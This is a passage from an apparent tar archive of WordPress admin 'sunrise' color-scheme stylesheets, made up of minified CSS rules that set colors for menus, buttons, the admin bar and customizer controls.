#0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #dd823b; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #dd823b; border-style: solid; box-shadow: 0 0 0 1px #dd823b; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #dd823b; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #dd823b; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #dd823b; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(228.5391304348, 157.7173913043, 102.4608695652), 0 0 2px 1px #dd823b; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #dd823b; color: #0073aa; } css/colors/sunrise/colors.min.css 0000644 00000053456 15233246127 0013144 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#cf4944}.wp-core-ui .wp-ui-text-primary{color:#cf4944}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#dd823b}.wp-core-ui .wp-ui-text-highlight{color:#dd823b}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#ccaf0b}.wp-core-ui .wp-ui-text-notification{color:#ccaf0b}.wp-core-ui .wp-ui-text-icon{color:hsl(2.1582733813,7%,95%)}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#cf4944}.view-switch a:hover:before{color:#ccaf0b}#adminmenu,#adminmenuback,#adminmenuwrap{background:#cf4944}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(2.1582733813,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#dd823b}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(190.4217021277,53.969787234,48.8782978723)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:rgb(190.4217021277,53.969787234,48.8782978723)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(240.6,200.4,198.9)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(240.6,200.4,198.9)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#dd823b}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#ccaf0b}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(190.4217021277,53.969787234,48.8782978723)}#collapse-button{color:hsl(2.1582733813,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar{color:#fff;background:#cf4944}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:rgb(247.3869565217,227.0108695652,211.1130434783);background:rgb(190.4217021277,53.969787234,48.8782978723)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(190.4217021277,53.969787234,48.8782978723)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(207.3164148936,107.1221761059,103.3835851064)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(240.6,200.4,198.9)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(2.1582733813,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(214.2919148936,100.6485106383,96.4080851064)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#ccaf0b}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(183.6,157.5,9.9)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(214.2919148936,100.6485106383,96.4080851064);background-color:rgb(214.2919148936,100.6485106383,96.4080851064)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(240.6,200.4,198.9)}.wp-pointer .wp-pointer-content h3{background-color:#dd823b;border-color:rgb(216.8782608696,116.1847826087,37.6217391304)}.wp-pointer .wp-pointer-content h3:before{color:#dd823b}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#dd823b}.media-item .bar,.media-progress-bar div{background-color:#dd823b}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #dd823b}.attachment.details .check{background-color:#dd823b;box-shadow:0 0 0 1px #fff,0 0 0 2px #dd823b}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #dd823b}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#dd823b}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#dd823b}.theme-filter.current,.theme-section.current{border-bottom-color:#cf4944}body.more-filters-opened .more-filters{color:#fff;background-color:#cf4944}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#dd823b;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#dd823b;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(228.5391304348,157.7173913043,102.4608695652),0 0 2px 1px #dd823b}div#wp-responsive-toggle a:before{color:hsl(2.1582733813,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#dd823b}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(190.4217021277,53.969787234,48.8782978723)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(2.1582733813,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#dd823b}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#dd823b}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#dd823b}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#dd823b}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(228.5391304348,157.7173913043,102.4608695652),0 0 2px 1px #dd823b}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#dd823b;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#dd823b}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#dd823b;border-style:solid;box-shadow:0 0 0 1px #dd823b;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#dd823b}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(228.5391304348,157.7173913043,102.4608695652),0 0 2px 1px #dd823b}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#dd823b;color:#0073aa} css/colors/sunrise/colors-rtl.min.css 0000644 00000053457 15233246127 0013744 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui 